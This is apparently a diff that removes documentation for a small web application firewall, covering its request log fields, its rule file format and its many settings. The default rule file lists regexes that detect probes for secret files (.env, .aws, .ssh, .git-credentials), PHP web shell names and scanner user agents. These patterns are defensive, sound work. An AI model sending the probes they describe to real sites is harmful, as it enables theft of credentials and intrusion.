{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||
```
|
||||
|
||||
### Every line
|
||||
|
||||
Every one of these lines has:
|
||||
|
||||
- `type`: `request` (the process's own messages have `process`);
|
||||
- the standard web log fields;
|
||||
- `request_id`, `peer_ip` and `client_group`;
|
||||
- `asn`, `as_name` and `country`;
|
||||
- `action` and `duration_total_ms`.
|
||||
|
||||
### Standard web log fields
|
||||
|
||||
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
||||
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
||||
line.
|
||||
- `instance`: `SWW_INSTANCE_NAME`.
|
||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||
- `method`, `path` and `query`: the visitor's request.
|
||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||
it.
|
||||
- `host`: the site the visitor asked for.
|
||||
- `protocol`: the question's own, `HTTP/1.1`.
|
||||
- `status`:
|
||||
- on the `decision` line, what `discriminator` answered: `200` for `allow`,
|
||||
the status of `deny`, or `0` for `close`, as the visitor is then sent
|
||||
nothing;
|
||||
- on the `report` line, what the visitor got, `0` if nothing.
|
||||
- `request_bytes`:
|
||||
- on the `decision` line, how much of the question's body the Core Rule Set
|
||||
read;
|
||||
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
||||
with what a WebSocket carried from the visitor.
|
||||
- `response_bytes`:
|
||||
- on the `decision` line, the body of `discriminator`'s answer;
|
||||
- on the `report` line, the bytes of the answer's body, with what a
|
||||
WebSocket carried from the app.
|
||||
- `referer` and `user_agent`.
|
||||
|
||||
### Request detail
|
||||
|
||||
- `request_id`: the id `rproxy` made for the request when it arrived.
|
||||
- `peer_ip`: the address of `rproxy`'s TCP peer, normally traefik.
|
||||
- `forwarded_for`: the `X-Forwarded-For` header the visitor's request came with.
|
||||
- `client_group`: the client as rate limiting counts it, an IPv4 address as a
|
||||
/32 or an IPv6 group.
|
||||
- `asn`, `as_name` and `country`: the client's, as looked up. Each is empty
|
||||
when:
|
||||
- lookups are off;
|
||||
- the client is not looked up;
|
||||
- the source cannot place the client;
|
||||
- GeoJS had not answered by the time `discriminator` answered.
|
||||
- `content_type`: the visitor's `Content-Type`.
|
||||
- `content_length`: the body length the visitor announced.
|
||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||
lower case.
|
||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||
Their values are never logged.
|
||||
|
||||
### Response detail
|
||||
|
||||
- `response_content_type`: the type of `discriminator`'s own answer.
|
||||
- `aborted`: true when `rproxy` went away before the answer.
|
||||
|
||||
### Decision
|
||||
|
||||
- `action`: what was done:
|
||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
||||
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||
ban this request made or made permanent;
|
||||
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
||||
`blocked_by_core_rule_set`: refused by that check;
|
||||
- `request_header_too_large`: over a header limit;
|
||||
- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
|
||||
`404` for a path under `/_sww/`.
|
||||
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
||||
request it would have refused. `action` then names what was done, normally
|
||||
`forward`.
|
||||
- `heuristic`: the heuristic that refused the request, in `observe` mode too. It
|
||||
is left out when none did.
|
||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||
heuristic and its figures:
|
||||
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||
decision ends;
|
||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||
masked;
|
||||
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
||||
- `rate_limits`: `window`, `count` and `limit`;
|
||||
- `trap_paths`: `path`, the trap path asked for;
|
||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after
|
||||
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
|
||||
or `byte_limits`.
|
||||
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
||||
acted on, as listed above.
|
||||
|
||||
`byte_limits` bans when the report comes, so only the `report` line names
|
||||
it.
|
||||
|
||||
- `rate_limit_percent` and `rate_limit_percent_setting`: the client's percentage
|
||||
of the rate limits and the setting that lowered it, when one did.
|
||||
`bytes_limit_percent` and `bytes_limit_percent_setting` do the same for the
|
||||
byte limits.
|
||||
- `counts`: the client's totals as rate limiting counts them, this request
|
||||
included. It is left out when rate limiting did not count the request. It
|
||||
holds:
|
||||
- `minute`, `hour` and `day`: requests;
|
||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||
`SWW_BYTES_COUNT` names, in that window.
|
||||
|
||||
A count can have a fraction (see "Counting method" in
|
||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||
response are added when its report comes. So on the `decision` line, the
|
||||
three byte totals leave them out.
|
||||
|
||||
- `limit_hit`: the limit broken:
|
||||
- `minute`, `hour` or `day` for a rate limit;
|
||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
||||
|
||||
When the bytes counted for a request and its response break a limit, the
|
||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||
`report` line gives that limit.
|
||||
|
||||
- `rule_ids`: the rule file rules that matched, in order, up to the one that
|
||||
refused.
|
||||
- `core_rule_set_score` and `core_rule_set_rule_ids`: the Core Rule Set's score
|
||||
and the rules that matched, for a request it inspected.
|
||||
- `reputation`: the sources the client is on, in this order:
|
||||
- blocklist URLs;
|
||||
- the CrowdSec decision list's URL;
|
||||
- DNS blocklist zones;
|
||||
- `abuseipdb`.
|
||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||
present only while `SWW_ROUTEWATCH_URL` is set:
|
||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||
the process log says why;
|
||||
- `no_route`: routewatch knows no live route for the address.
|
||||
- `offence`: `limit`, for a request that broke a limit.
|
||||
- `ban_expires`: when the client's ban ends, for a request that made one or was
|
||||
refused under one: a time, or `permanent`.
|
||||
|
||||
### Timings
|
||||
|
||||
All in milliseconds:
|
||||
|
||||
- `duration_total_ms`:
|
||||
- on the `decision` line, from `discriminator` having read the question's
|
||||
body to the line;
|
||||
- on the `report` line, from `rproxy` having read the request's headers to
|
||||
the end of the answer.
|
||||
- `duration_checks_ms`: to the end of the checks;
|
||||
- `duration_core_rule_set_ms`: the part of that the Core Rule Set took;
|
||||
- `duration_upstream_total_ms`: on the `report` line of an allowed request, from
|
||||
the hand-over to the app to the end of the answer.
|
||||
|
||||
### Requests to its own endpoints
|
||||
|
||||
The line of a request to `discriminator`'s own endpoints has these fields, with
|
||||
these meanings where they differ:
|
||||
|
||||
- `client_ip` and `peer_ip`: the request's TCP peer.
|
||||
- `request_id`: a new random one of 26 letters and digits.
|
||||
- `scheme`: `http`.
|
||||
- `time`: when the request's headers had been read.
|
||||
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
|
||||
- `action`: `own_endpoint`.
|
||||
- `duration_total_ms`: from the request's headers being read to the line.
|
||||
|
||||
## `rproxy`'s line
|
||||
|
||||
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
||||
`discriminator`'s two. It has these fields and no others:
|
||||
|
||||
- `type`: `request`.
|
||||
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
||||
- `request_id`: the id `rproxy` made for the request when it arrived.
|
||||
- `client_ip`: the visitor's address.
|
||||
- `host` and `method`.
|
||||
- `path` and `query`: as the visitor sent them.
|
||||
- `status`: what the visitor got, `0` if nothing.
|
||||
- `request_bytes`: the bytes of the visitor's body that `rproxy` read, with what
|
||||
a WebSocket carried from the visitor.
|
||||
- `response_bytes`: the bytes of the answer's body, with what a WebSocket
|
||||
carried from the app.
|
||||
- `duration_request_ms`: milliseconds from the request's headers being read
|
||||
until the app had been sent the whole request, or the answer started if that
|
||||
was sooner. It includes the wait for `discriminator`.
|
||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
||||
left out when:
|
||||
- `discriminator` was not asked, as for the health check;
|
||||
- the visitor went away while `discriminator` was being asked;
|
||||
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||
`disposition`, and otherwise left out.
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request_ms":1.204,"duration_response_ms":3.104,"disposition":"allow"}
|
||||
```
|
||||
@@ -1,73 +0,0 @@
|
||||
# Rule files
|
||||
|
||||
The format of a rule file, and the default file the image ships. "Rule files" in
|
||||
[`SPEC.md`](../SPEC.md) says how the files are read, watched and mounted, and
|
||||
what each action leads to.
|
||||
|
||||
## The format
|
||||
|
||||
A rule is a line of four fields separated by spaces or tabs: an id, a target, an
|
||||
action and a regex. The regex runs to the end of the line. Blank lines and lines
|
||||
starting with `#` are ignored.
|
||||
|
||||
```
|
||||
# id target action regex
|
||||
env-file path ban (?i)^/\.env(\.[a-z]+)?$
|
||||
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
|
||||
```
|
||||
|
||||
- The id is letters, digits, `-` and `_`, unique across all files. The log line,
|
||||
the metrics, the alerts and a ban's notes name the rule by it.
|
||||
- The target is what the regex is matched against:
|
||||
- `path`: the path without the query;
|
||||
- `uri`: the path and the query together;
|
||||
- `query`: the query as sent;
|
||||
- `method`, `host`, `user_agent` and `referer`;
|
||||
- `header:<Name>`: any one request header but `Host` and
|
||||
`Transfer-Encoding`.
|
||||
- The action is `log`, `block` or `ban`.
|
||||
- The regex is in Go's syntax, RE2. It matches anywhere in the target unless
|
||||
anchored with `^` and `$`. `(?i)` at its front makes it ignore case.
|
||||
|
||||
## The default file
|
||||
|
||||
The image ships one file, `share/rules.d/00-default.rules`, installed as
|
||||
`/etc/sww/rules.d/00-default.rules`:
|
||||
|
||||
```
|
||||
# 00-default.rules: probes no real visitor sends, anchored at the site root
|
||||
|
||||
# id target action regex
|
||||
env-file path ban (?i)^/\.env(\.[a-z]+)?$
|
||||
vcs-dir path ban (?i)^/\.(git|svn|hg|bzr)(/|$)
|
||||
secrets-dir path ban (?i)^/\.(aws|ssh|docker|kube)/
|
||||
secret-file path ban (?i)^/\.(htpasswd|htaccess|npmrc|netrc|pgpass|git-credentials|bash_history|DS_Store)$
|
||||
editor-dir path ban (?i)^/\.(vscode|idea)/
|
||||
backup-file path ban (?i)^/[^/]+\.(php(\.[a-z0-9]+|~)|sql(\.[a-z0-9]+)?)$
|
||||
log-file path ban (?i)^/(debug|error|access)\.log$
|
||||
compose-file path ban (?i)^/(docker-)?compose\.ya?ml$
|
||||
php-shell path ban (?i)^/(shell|c99|r57|wso|alfa)\.php$
|
||||
scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
|
||||
path-traversal uri block (\.\./){2,}
|
||||
empty-agent user_agent log ^$
|
||||
```
|
||||
|
||||
## A file of your own
|
||||
|
||||
`discriminator` reads the rule files in its own container. Rules of your own go
|
||||
in a file named to sort after the default, such as `50-site.rules`:
|
||||
|
||||
```
|
||||
# 50-site.rules: WordPress probes, which this site never serves
|
||||
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
||||
```
|
||||
|
||||
A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
|
||||
from, adds it:
|
||||
|
||||
```dockerfile
|
||||
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
||||
```
|
||||
|
||||
Or mount it there. A `path` rule applies on every site behind that
|
||||
`discriminator`.
|
||||
@@ -1,471 +0,0 @@
|
||||
# Settings
|
||||
|
||||
Every setting, its default and the values it takes, in the groups of "Settings"
|
||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||
that take `off`, the `_FILE` form, and what each group does and why.
|
||||
|
||||
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
||||
between the two (see "The image's command" below).
|
||||
|
||||
## Forms of values
|
||||
|
||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
||||
and negative durations are refused.
|
||||
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
||||
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
||||
- A count is a whole number of requests, such as `1000`.
|
||||
- A list is comma separated, with spaces around items ignored. An empty item is
|
||||
refused.
|
||||
- A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
|
||||
address stands for itself alone.
|
||||
- A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
|
||||
are the same. `xk` stands for Kosovo. A code that is not a country is refused,
|
||||
such as `nk` (North Korea is `kp`) or the withdrawn `su`.
|
||||
- An AS number is `AS` and the number, in either case, such as `AS64496`.
|
||||
- A percentage is a whole number from 0 to 100.
|
||||
- A path prefix starts with `/`, such as `/assets/`.
|
||||
|
||||
## Core
|
||||
|
||||
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
|
||||
port, such as `:9000`. Leave the host out (see "Ports" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||
in each line `discriminator` logs, and in each alert and metric, such as
|
||||
`fsn1/discriminator`. Valid UTF-8. No control character while
|
||||
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
|
||||
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||
group, from 32 to 128.
|
||||
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||
number above zero.
|
||||
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
|
||||
keeps, a whole number above zero.
|
||||
|
||||
## Tokens
|
||||
|
||||
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||
`/_sww/clients/<ip>`. At least 32 characters.
|
||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||
32 characters.
|
||||
|
||||
## State files
|
||||
|
||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||
absolute path that exists and can be written.
|
||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||
written after a ban is made, lifted or made permanent. A duration.
|
||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
||||
written. A duration.
|
||||
|
||||
## Logging
|
||||
|
||||
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
|
||||
messages that are written: `debug`, `info`, `warn` or `error`.
|
||||
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||
request headers recorded in the log line, in either case. `Host` and
|
||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||
each with a host and a port and nothing more.
|
||||
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
||||
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
||||
A file that cannot be read, or holds no certificate, is refused.
|
||||
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
||||
to be sent, a whole number above zero.
|
||||
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
||||
syslog record, 1 to 48 printable ASCII characters without a space.
|
||||
|
||||
## Metrics
|
||||
|
||||
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
||||
get series of their own. A whole number above zero.
|
||||
|
||||
## Static lists
|
||||
|
||||
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
||||
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||
exempt from rate limiting and the byte limits.
|
||||
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
||||
4 in [`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## Request rate limits, per client
|
||||
|
||||
The request past one of these limits is refused, and the client is banned.
|
||||
|
||||
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||
client may make in a minute. A count or `off`. The default leaves room for a
|
||||
person opening two pages at once with an empty cache, up to 60 files each.
|
||||
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||
limit.
|
||||
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
||||
in a day. A count or `off`. The default is four hours at the hour limit. A
|
||||
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||
limit.
|
||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
||||
network where many people share one address, such as an office.
|
||||
- Counting cannot catch a client that stays under all three limits (see "Request
|
||||
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
|
||||
limiting and the byte limits, such as `/assets/`.
|
||||
|
||||
## Byte limits, per client
|
||||
|
||||
These count body bytes, never headers. What the visitor sent over a WebSocket
|
||||
counts as request bytes, and what the app sent as response bytes. The bytes
|
||||
counted for a request and its response are added to the client's total once the
|
||||
response has ended. The request that takes a client's total past a limit is not
|
||||
cut off; the client is banned.
|
||||
|
||||
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
|
||||
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
|
||||
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
|
||||
which bytes count: response bodies, request bodies or both. The request that
|
||||
passes the limit is not cut off, and the client is banned when its response
|
||||
ends.
|
||||
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
|
||||
thresholds count: `response`, the app's response bodies; `request`, the
|
||||
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
|
||||
counts as request bytes, and what the app sent as response bytes.
|
||||
|
||||
## Lookup of AS number and country
|
||||
|
||||
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
|
||||
the start while a setting that needs a lookup is set:
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||
- `SWW_ADD_LOOKUP_HEADERS`;
|
||||
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
|
||||
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
|
||||
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||
- an anomaly threshold per AS number.
|
||||
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
|
||||
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
|
||||
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||
duration; never `off`.
|
||||
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
|
||||
the client's AS number in `X-Client-ASN` and its country in
|
||||
`X-Client-Country`.
|
||||
|
||||
## Country list
|
||||
|
||||
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
|
||||
countries whose clients get through, such as `us,de`. A country whose
|
||||
`country=` tag is in `SWW_TAG_DENY` stops the start.
|
||||
|
||||
## Request tags
|
||||
|
||||
Every request gets tags from what `discriminator` knows of its client. See
|
||||
"Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
|
||||
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
|
||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
|
||||
or the CrowdSec decision list.
|
||||
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||
`country=` tag without a country, is refused.
|
||||
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
|
||||
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
|
||||
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
|
||||
client's tags applies. A tag listed twice is refused. So is
|
||||
`exploitsignature`: a request gets that tag after the rate limits have counted
|
||||
it.
|
||||
|
||||
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
|
||||
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
|
||||
service that gives an address's announced netblock and origin AS.
|
||||
`discriminator` asks it about each client, in the background, and adds the
|
||||
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
|
||||
unset, nothing asks routewatch and no request gets a `prefix=` tag.
|
||||
|
||||
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
|
||||
that no request can get stops the start. A request can get only these:
|
||||
|
||||
- a name in `SWW_TAG_LISTS`;
|
||||
- an `asn=` or `country=` tag;
|
||||
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
|
||||
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
|
||||
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
|
||||
masked as the `reputation` field shows it;
|
||||
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
|
||||
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
|
||||
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
|
||||
`off`.
|
||||
|
||||
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||
the request first.
|
||||
|
||||
## Biased thresholds
|
||||
|
||||
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
|
||||
percentage of the byte limits alone, for the AS numbers or countries listed,
|
||||
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
|
||||
country listed twice is refused.
|
||||
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
|
||||
lookup cannot place.
|
||||
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
|
||||
text file with one AS number and percentage on each line, such as
|
||||
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
|
||||
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
|
||||
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
|
||||
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
|
||||
from 1 to 4.
|
||||
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
|
||||
match. A whole number above zero, or `off`.
|
||||
- `SWW_WAF_DISABLED_RULES` (default
|
||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
|
||||
refused: those are the rules that set the Core Rule Set up, and
|
||||
`smallwebwaf`'s own.
|
||||
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
|
||||
not inspect.
|
||||
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
|
||||
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
|
||||
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
|
||||
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
|
||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
|
||||
exclusions, written as Coraza directives. It is loaded before the Core Rule
|
||||
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
|
||||
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
|
||||
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
|
||||
file that names a number from 900000 to 900999 outside a comment, alone or in
|
||||
a range. So does a directive that removes or changes rules as the file loads,
|
||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||
yet. It has no `_FILE` form.
|
||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||
|
||||
## Ban lengths, response and scope
|
||||
|
||||
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
|
||||
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
|
||||
duration.
|
||||
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||
within which breaking a limit again lengthens the next ban. A duration.
|
||||
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
|
||||
that would be longer is permanent. A duration.
|
||||
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
|
||||
attack. A duration.
|
||||
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||
covers: the prefix length of its netblock, from 0 to 32.
|
||||
|
||||
## Reputation
|
||||
|
||||
